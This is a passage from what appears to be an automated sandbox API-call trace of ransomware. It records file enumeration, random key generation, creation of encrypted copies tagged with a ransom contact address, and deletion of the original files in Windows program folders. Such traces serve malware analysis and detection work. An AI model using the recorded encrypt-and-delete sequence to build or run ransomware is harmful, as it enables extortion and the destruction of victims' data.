lpSystemTime=0x9bb4e0) returned 1 [0230.693] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.694] GetFileType (hFile=0x39c) returned 0x1 [0230.694] GetFileType (hFile=0x39c) returned 0x1 [0230.694] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.694] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.694] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.694] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.695] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.695] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.695] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.735] CloseHandle (hObject=0x39c) returned 1 [0230.741] CloseHandle (hObject=0x334) returned 1 [0230.742] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicedayi.txt")) returned 0 [0230.742] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt", lpFilePart=0x9bada4*="TableTextServiceTigrinya.txt") returned 0x4f [0230.742] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicetigrinya.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776b1b4c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776b1b4c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776b1b4c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776)) returned 1 [0230.742] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714bc | out: pbBuffer=0x36714bc) returned 1 [0230.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0230.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0230.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0230.743] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicetigrinya.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.743] GetFileType (hFile=0x334) returned 0x1 [0230.743] GetFileType (hFile=0x334) returned 0x1 [0230.744] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.744] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicetigrinya.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.745] GetFileType (hFile=0x39c) returned 0x1 [0230.745] GetFileType (hFile=0x39c) returned 0x1 [0230.745] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.745] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.745] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.745] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.745] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.745] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.745] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.757] CloseHandle (hObject=0x39c) returned 1 [0230.757] CloseHandle (hObject=0x334) returned 1 [0230.757] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceTigrinya.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextservicetigrinya.txt")) returned 0 [0230.758] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt", lpFilePart=0x9bada4*="TableTextServiceYi.txt") returned 0x49 [0230.758] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x775ccce1, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x775ccce1, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x775ccce1, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072)) returned 1 [0230.758] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671714 | out: pbBuffer=0x3671714) returned 1 [0230.759] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.759] GetFileType (hFile=0x334) returned 0x1 [0230.759] GetFileType (hFile=0x334) returned 0x1 [0230.759] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.759] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.759] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.759] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.759] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.760] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.760] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.760] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.760] GetFileType (hFile=0x39c) returned 0x1 [0230.760] GetFileType (hFile=0x39c) returned 0x1 [0230.760] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.764] CloseHandle (hObject=0x39c) returned 1 [0230.765] CloseHandle (hObject=0x334) returned 1 [0230.765] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\tabletextserviceyi.txt")) returned 0 [0230.765] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0230.765] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5e4b51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.766] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2d910800, ftLastWriteTime.dwHighDateTime=0x1d29fa7, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0230.766] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x2d910800, ftLastWriteTime.dwHighDateTime=0x1d29fa7, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0230.766] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0230.766] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us\\tabletextservice.dll.mui")) returned 0x20 [0230.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0230.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0230.767] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui", lpFilePart=0x9bada4*="TableTextService.dll.mui") returned 0x51 [0230.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0230.767] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0230.768] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x1de400, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x194200, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf69289, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cf69289, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cf69289, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0230.769] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0230.770] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0230.770] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files (x86)\\windows photo viewer\\en-us")) returned 0x10 [0230.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0230.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0230.771] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe")) returned 0x20 [0230.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0230.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0230.772] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingengine.dll")) returned 0x20 [0230.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38873c8 | out: hHeap=0x2ad0000) returned 1 [0230.772] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoacq.dll")) returned 0x20 [0230.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0230.773] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\photobase.dll")) returned 0x20 [0230.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0230.773] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoviewer.dll")) returned 0x20 [0230.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0230.773] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x3734138 [0230.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0230.774] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe", lpFilePart=0x9bada4*="ImagingDevices.exe") returned 0x3e [0230.774] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340)) returned 1 [0230.774] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674bc4 | out: pbBuffer=0x3674bc4) returned 1 [0230.774] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.775] GetFileType (hFile=0x334) returned 0x1 [0230.775] GetFileType (hFile=0x334) returned 0x1 [0230.775] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.775] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.775] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.775] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.775] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.775] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.775] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.776] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.776] GetFileType (hFile=0x39c) returned 0x1 [0230.776] GetFileType (hFile=0x39c) returned 0x1 [0230.776] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.776] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.776] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.777] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.777] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.777] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.783] CloseHandle (hObject=0x39c) returned 1 [0230.783] CloseHandle (hObject=0x334) returned 1 [0230.783] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\imagingdevices.exe")) returned 0 [0230.783] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll", lpFilePart=0x9bada4*="ImagingEngine.dll") returned 0x3d [0230.784] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll", nBufferLength=0x208, lpBuffer=0x9bada8, 